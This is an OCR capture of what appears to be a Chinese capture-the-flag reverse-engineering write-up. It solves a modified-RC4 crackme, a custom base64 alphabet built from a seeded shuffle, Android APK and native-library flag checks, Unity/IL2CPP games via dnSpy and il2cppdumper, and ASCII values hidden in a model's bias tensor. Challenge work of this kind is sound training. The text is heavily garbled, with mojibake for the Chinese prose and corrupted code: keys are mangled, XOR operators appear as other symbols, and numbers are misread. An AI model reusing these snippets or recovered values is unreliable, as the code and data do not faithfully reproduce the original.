Functions 0Oe& x IDA View-A 8 Pseudocode-A B @ Hex View-1 x] @ Structures [x] = Enums x] Imports 8 & Exports
Function name ~ [ BYTE *__fastcall rc4_init(__int64 al, __int64 a2)

pre_c_init
(7] pre_cpp_init

7] mainCRTStar tup
7l atexit

7 slen
flred_init
7 red_crypt

il

7

7] _main

7] _setargy
7] _dyn_tls_dtor
7] _dyn_tls_init
7 __tlregdtor

7] _matherr

7] fpreset

7] __report_error

7lexit_0
7l _exit_0

7] _FindPESection
<

(7] __tmainCRTStartup
7] WinMainCRTStartup

__do_global_dtors
__do_global_ctors

__mingw_invalidParameterHandler

7] __gcc_register_frame
7] _gcc_deregister_frame

f mark_section_writable

7] _pei386_runtime_relocator
(7] _mingw_raise_matherr

(7] _mingw_setusermatherr

__w64_mingwthr_add_key_dtor

al

al

7] __ w64_mingwthr_remove_key_dtor 27
7] __mingw_TLScallback

7] ValidateImageBase

1
2
3
4| _inté4 i; // rex
5| __inté4 v6; // rdx
6| int v7; // ecx

7| int v8; // riled

8 BYTE *result; // rax

Line 37 of 104

s Graph overview

I:Iﬁ'x‘

unsigned int v4; // rod

15| memset(vie, @, ©x100uié4);
16| for (i = @i64; i = 256 ++i )

9| char vie[280]; // [rsp+26h] [rbp-118h] BYREF

1e

11| if ( *(_BYTE *)a2 )

12 v4 = strlen((const char *)(a2 + 1)) + 1;
13| else

14 va = 85

_B
19 0[i] = k3y[((int)i + 1) % v4] ~ *(_BYTE *)(a2 + (unsigned int)i % v4); |

17| |
18 *(_BYTE *)(al + i) = i;
20| }
21| v6 = 0i64;
22| v7 = @;
23| do
24| {
mingwthr_run_key_dtors_part_0 25 v8 = *(unsigned __int8 *)(al + v6);
26 V7 = (vie[vE] + v7 + v8) % 256;
result = (_BYTE *)(al + v7);
28 *(_BYTE *)(al + v6++) = *result;
29 *result = v8;
38| 3}
| ® 31| while ( v6 I= 256 );

> 32| return result;

33}

00000ADE rc4_init:19 (1400014DE) l
& Output x
Using FLIRT signature: SEH for vcé4 7-14 ~
Propagating type information...
Function argument information has been propagated
The initial autoanalysis has been finished.
140001480: using guessed type __int64 _ fastcall rc4_init(_QWORD, _QWORD);
140001550: using guessed type __int64 _ fastcall rc4_crypt(_QWORD, _QWORD);
140001690: using guessed type __int64 _ fastcall _main(_QWORD, _QWORD, _QWORD);
140003020: using guessed type _BYTE not_flag[64]; v

Python

AU: idle

Down

Disk: 162GB

XX

.data:0006000146003020
.data:0eeeeee14eee3020 ;
.data:886868614d863628
.data:0006000146003020
.data:000000014600302A
.data:0ooepeee14ee03034
.data:000000014800303E
.data:oo00000140003048
.data:0000000146003060

Aat+aa0o00001AQOAAGEA

not_flag

5 HAAN RS AR RN E]

1
2
3
4
5
6
7
8
9

10
11
12
13
14

def

def

ksa(key):

key_length = len(key)

S = list(range(256))
j=0
k3y=b"iM_4_KEY"

for i in range(256):

J =

public not_flag

_BYTE not_flag[64]
db 4Ah, 8, eDsh, @F4h, @F9h, eDeh, 3Eh, 1Bh, OEAh, 46h

; DATA XREF: main+95To

db ecch, 17h, 35h, 26h, 1Dh, 7Ch, 61h, @BBh, ©Flh, BF6h

db 23h, 41h, @ABh, 35h, eDBh, eBh, 43h, 45h, 8Ch,

db epch, 82h, 38h, 2, 4Ah, 13h dup(®)
dq offset qword_14@ee2C7@

» NMATA ¥DEE- An alAahkhal

S[il, s3]l = S{j], S[il

return S

prga(S, n):
i=0

j =0
key_stream = []

35h
db 98h, BC5h, 8CAh, 59h, OFEh, @Blh, @ADh, @B5h, 12h, 7Dh

(7 + S[i] + (k3y[(i+1)%key_length] key[i%key_length])) % 256

A+AareLAtr



15 while n > 0O:

16 n=n-1

17 i= (5 + 1) % 256

18 j = (j + S[i]) % 256

19 S[il, S[3j1 = S[3], S[il

20 K = S[(S[i] + S[j]) % 256]
21 key_stream.append (K)

22 return key_stream

23

24 def rc4(data, key):

25 S = ksa(key)

26 key_stream = prga(S, len(data))
27 encrypted = bytes([data[i] * key_stream[i] for i in range(len(data))])
28 return encrypted

29 key=b"1lm_@_K3y"

30 enc=b'J\x08\xd5\xf4\xf9\xd0>\x1b\xeaF\xcc\x175&\x1d|a\xbb\xf1\xf6#A\xab5\xdb\x0
bCE\x8c5\x98\xc5\xcaY\xfe\xbl\xad\xb5\x12}\xdc\x820\x02J\x13"'

31 print(rc4(enc,key))

b'flag{JusT_@ Simpl3 RC4_wltH_4 1ITtle cH4nG3s}\xae'

base64_sp

FIDAZE, AJUBLRE—TAENMF, “BENl" #iTEL T base644miask, ASRFIRHKAVESCHEN
YT HERZBYE XX



QF IDA - base64_sp.exe C:\Users\jyzho\Desktop\base64_sp.exe
File Edit Jump Search View Debugger Lumina Options Windows Help

BEH e€ve v

<
N

%% 5 ) AV T

Library function [l Regular function Ml Instruction

7 Functions 0o& x

ool o F v X[ >

IDA View-A [x]

v %l @

No debugger

External symbol [l Lumina function

Pseudocode-A B

Data [ Unexplored

Strings [x]

@

Hex View-1

o

@

Structures

a

Enums

Imports

@

Exports

a

Function name ~

1
7] Handler :
7] sub_140001010

7] sub_140001130 4
7] sub_140001180 5
7] sub_1400013D0 6
7] start 7
7] sub_140001410 8
7] sub_140001430
[ nullsub_2

7] sub_140001450
7 sub_140001529 11
7 sub_140001625 12
7] sub_1400016E0 13
7] sub_140001720 14
7] sub_140001790 15
7] sub_1400017B0
[ T1sCallback_1
7] T1sCallback_0 17
7] sub_140001880 18
7] sub_140001890 19y
7] sub_140001990

7] sub_140001940

7] sub_140001A10

7] sub_140001B80

(7] sub_140001EE0

7] sub_140001F20

7] sub_1400020D0

7] sub_140002140

7] sub_1400021B0

7] sub_140002240

] sub_140002340

7] sub_140002350

(7] sub_140002390

(7] sub_1400023E0 v
< >

Line 37 of 104

s Graph overview

=R

[void sub_14eee1450()

char ve@; // [rsp+23h] [rbp-Dh]
int vi; // [rsp+24h] [rbp-Ch]
int j; // [rsp+28h] [rbp-8h]
int i; // [rsp+2Ch] [rbp-4h]

srand(@x2EDECu) ;

for (1 =0; 1 <=63; ++i )

{
vl = rand() % 64;
ve = aAbcdefghijklmn[i];
aAbcdefghijklmn[i] = aAbcdefghijklmn[vi];
aAbcdefghijklmn[vi] = ve;

aAbcdefghijklmn[64] = 126;
for ((J =0; J <= 43; ++]
aZmxhz3tzmg@zde[j] ~= byte_1400030A0[7];

0000085D sub_140001450:19 (14000145D)

& Output

Python 3.11.7 (tags/v3.11.7:fa7a6f2, Dec 4 2023
IDAPython 64-bit v7.4.0 final (serial @) (c) The

, 19:24:49) [MSC v.1937 64 bit (AMD64)]
IDAPython Team <idapython@googlegroups.com>

Using FLIRT signature: SEH for vcé4 7-14
Propagating type information...

Function argument information has been propagate
The initial autoanalysis has been finished.

d

1400030A0: using guessed type _BYTE byte_1400030A0[64];

Python

AU: idle Down Disk: 162GB

St BEHITEL SR mIDR

#include<bits/
using namespac
int main()

{

a b W N =

string

stdc++.h>
e std;

s="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";

for (1

{

o N O

9 int vl

ch

11 s[

srand (Ox2EDEC) ;

nt i = 0; 1 <= 63; ++i

rand() % 64;
s[i];

s[vl];

ar vO =

il =

12 s[vl] = vO;

13 }
14
15 cout
16

17 }

retu

s[64] =

126;
<<s;

rn 0;
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B ' C\Users\jyzho\Desktop\test.exe

BRERNAVEN RS ERENEX

1 hex_list = [

2 Ox3F, Ox0A, Ox0B, 0x01, Ox3F, Ox7C, Ox42,

3 Ox23, Ox23, Ox11, 0x52,

4 Ox0D, 0x28, 0x3C, 0x39, Ox2C, OxOC, Ox22, Ox3C, Ox1E, 0x29, Ox2F,
5 0x10, 0x36, 0x12, Ox64, Ox7C, Ox4D, Ox34, Ox3C, Ox27, Ox4E, 0x38,
6 Ox14, Ox6A, Ox1D, 0x30, Ox04, 0x38, Ox1C, 0x28, Ox36, Ox66, Ox43,
7 Ox14

8 ]

9 flag='ZmxhZ3tzMGOzdEhJbmdfcnVuX2IzZjByZV9tQGluIXe="

10 s=""

11 for i in range(44):

12 s+=chr (hex_list[i]*ord(flag[i]))

13 print(s)

egsie06YnVbwLyQfnOXxJAFCIV57nVe7bBSiaCTianV~

Cyberchef



Recipe Bms Input

egsie06YnVbwLyQfnOXxJAFCIV57nVe7bBSiaCTianV~
From Base64 O n

Alphabet
1beIhSLD1KiZvf8gNxP4976/Gwsp@VAmOtQ+gEFRuU~

Remove non-alphabet chars I:’ Strict mode

Output

Mobile

levell
hiftjadxmtix



@ x4 WE Sn IR B — Fapprelesse S jadign - o x

B & S A TR QAGa@ <> B0 8| F SIS 1.5.0!
i app-release.apk €, MainActivity
o BB _ -
5 package com.swdd.summertrain;
android.support.vd
w androidx import android.os.Bundle;
*w com import android.view.View;
. 1 import android.widget.TextView;
ON goog-e import android.widget.Toast;
In swdd.summertrain import androidx.appcompat.app.AppCompatActivity;
I» databinding import com.swdd.summertrain.databinding.ActivityMainBinding;
& MainActivity /* loaded from: classes.dex */
&R 14 | public class MainActivity extends AppCompatActivity {
kotlin private ActivityMainBinding binding;
KGETITF coroutlies public native String stringFromINI();
org
= BRI static {
7 APK signature 16 Ly .loadLibrary("summertrain”);
[=] Summary %
/* JADX INFO: Access modifiers changed from: protected */
@verride // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
22 public void onCreate(Bundle bundle) {
23 super.onCreate(bundle);
25 ActivityMainBinding inflate = ActivityMainBinding.inflate(getlayoutInflater());
this.binding = inflate;
|26 setContentView(inflate.getRoot());
i 30 this.binding.sampleText.setText(stringFromINI());
}
37 public void onClick(View view) {
a0 if (((Textview) findviewById(R.id.input)).getText().toString().equals([flag{Yolr are good at Uncompile Android!Jfl)) {
41 Toast.makeText(this, "#&", 1).show();
} else {
43 Toast.makeText(this, "HilifllE", 1).show();
N
} 1
¥
}
A% ,8== B Smali Simple Fallback Split view

level2
KRB check®#, tEnativeZ, FEEX M Wfsummertrainflibrary2EEEE
public native Boolean Check(String str);

static {
System.loadLibrary("summertrain™);

L

HiEstapkXHRE, 7ElibXHFFhKElibsummertrain.so, FAIDAYIFF, &&strings, BIEI#E|
flag



¥ IDA - libsummertrain.so C:\Users\jyzho\Desktop\lib\arm64-v8a\libsummertrain.so - X
File Edit Jump Search View Debugger Lumina Options Windows Help

BH evav a8 ) A @O e+~ #w X > 00ONo debugger v %@ @
B I I
Library function [l Regular function Ml Instruction [ Data [l Unexplored [ External symbol Ml Lumina function

Functions 08 x IDA View-A (x] Strings <] [ Hex View-1 ] @& Structures (x] i3] Enums [x] = Imports a @ Exports (%]
Function name Address Length Type String

7] sub_71C [ LOAD:0000++ 00000008 ~ C  Android

7 sub_72C [ L0AD:0000++ 0000000F  C  _cxa_finalize

7 sub_734 [ L0AD:0000++ 00000000 ~ C  _cxa_atexit

7] sub_73C [ L0AD:0000+ 00000012  C  _register_atfork

7 sub_750 ] LOAD:0000-++ 0000002D  C  Java_com_swdd_summertrain Maindctivity_Check
7] sub_76C ] LOAD:0000++ 00000007 ~ C  stremp

7] Java_com_swdd_summertrain MainActivity_Check || :0000++ 0000002E € _ZN7_JNIEnvONewObjectEP7_jclassP10_jmethodIDz

(7] _INIEnv: :NewObject (_jclass *, _jmethodID *,...) || 10000+ 00000011 € __stack_chk_fail

[7) sub_900 B 10000+ 00000008 € libe. so

7. _cxa_finalize B 10000+ 0000000E € libandroid. so

7].__cxa atexit E 0000+ 0000000  C liblog. so

7. _register_atfork 5] LOAD:0000++ 00000008  C libm. so

7] . stremp 5] LOAD:0000+ 00000009  C libdl. so

7] _JNIEnv: :NewObject (_jclass *, _jmethodID *,...) || LOAD: 00000012 € libsummertrain. so

7]. __stack_chk_fail &, 00000007 C___ <init>

7] _cxa_finalize ) C__ flag{Now You Know Native uncompile}

(7] _cxa_atexit [ .rodata:0-+ 00000012 C java/lang/Boolean

__register_atfork

tremp
__stack_chk_fail

< >
Line 5 of 20 Line 16 of 17 l
[E Output 0& x

[Patching] Loaded v@.1.2 - (c) Markus Gaasedelen - 2022

Python 3.11.7 (tags/v3.11.7:fa7a6f2, Dec 4 2023, 19:24:49) [MSC v.1937 64 bit (AMD64)]
IDAPython 64-bit v7.4.0 final (serial @) (c) The IDAPython Team <idapython@googlegroups.com>

Propagating type information...
Function argument information has been propagated
The initial autoanalysis has been finished. v

Python

AU: idle Down Disk: 162GB

level5
BHiEf#EapkXfF, Tfassets\bin\Data\Managed#&12 Tk ZIAssembly-CSharp.dll
Fdnspy$T#F, #£GameWindowZH A L EHiZEEflag



&' dnSpy v6.1.8 (64-bit, .NET
XfHF)  WEE) AV ERO) #OW)  ®BEBH o

EFERREEE ¥ X GameWindow
4 @ Assembly-CSharp (0.0.0.0)
= sembly-CSharp.c

text += ((char) ((( )(c — "a’) + shift) 26 + 97)). T

> @02000001
er @0200000A

GameObject gameObject = Object
gameObject
gameOb ject
| @06000021 :
@0600001A
id @0600001C
@0600001E
:void @06000019
@06000018
@06000018
i @0600001D
| @06000020
| @0600001F
1400001

@04000010
jorm @04000013
202000003
02000008

02000009

> {} T™Pro
> {} TMPro.Examples O g % UEHE - s
netstandard (2.0.0.0)
mscorlib (4.0.0.0)
UnityEngine.CoreModule (0.0.0.0)
UnityEngine.Ul (1.0.0.0)
UnityEngine InputLegacyModule (0.0.0.0)
UnityEngine.Physics2DModule (0.0.0.0)
UnityEngine.AnimationModule (0.0.0.0)
Unity.TextMeshPro (0.0.0.0)
UnityEngine.UIModule (0.0.0.0)
UnityEngine.TextRenderingModule (0.0.0.0)
UnityEngine.PhysicsModule (0.0.0.0)
UnityEngine.TextCoreModule (0.0.0.0) EEfEE

vvvvvvvvvvvv
===

level6

B EapkXH, BIiI—Ninput>X3k, Bassets\bin\Data\Managed\Metadatai&iZ FHIglobal-
metadata.datflib\arm64-v8ai&E FTHIlibil2cpp.soEHlid E, BEII—PoutputXhEk, BTHE
il2cppdumper 4Ri%.

C:\Users\jyzho\Desktop\input>il2cppdumper libil2cpp.so global-metadata.dat C:\Users\jyzho\Desktop\output
Initializing metadata...

Metadata Version: 27
Initializing il2cpp file...
Applying relocations...
WARNING: find JNI_OnLoad
ERROR: This file may be protected.
I12Cpp Version: 27
Searching...

Change il2cpp version to: 27.1
CodeRegistration : 98588
MetadataRegistration : e988d0
Dumping...

Done!

Generate struct...

Done!

Generate dummy dll...

Done!

Press any key to exit...

fEoutput&iZ Tk Elstringliteral.json, EEEEMEXMEFFHHMEHNFFRTE,
XBERT— FlaghmAunity, ctri+FIERT—TRA. - - 5




"value": "justaeasyunityigame”,

"address": "@xDODOF8"

¥

Al

where_is_flag
Mmodel.pthFi2EXH linear.biasPIBE U EMMENTR, KMBE—RKEE S

_|liner_bias.txt - B4
SAH(F) 4REE(E) #830(0) E&(V) #HEN(H)




FRascii, LRz

numbers = [

102, 108, 97, 103, 123, 78, 121, 101, 95, 110,
121, 101, 95, 109, 111, 115, 105, 95, 109, 105,
116, 97, 95, 89, 101, 121, 101, 95, 109, 111,
115, 105, 95, 103, 117, 115, 104, 97, 33, 125

1

2

3

4

5

6 1]
-

8 s=""

9 for i in numbers:
0 s+=chr (i)

1

print(s)



flag{Nye_nye_mosi_mita_Yeye_mosi_gusha!}



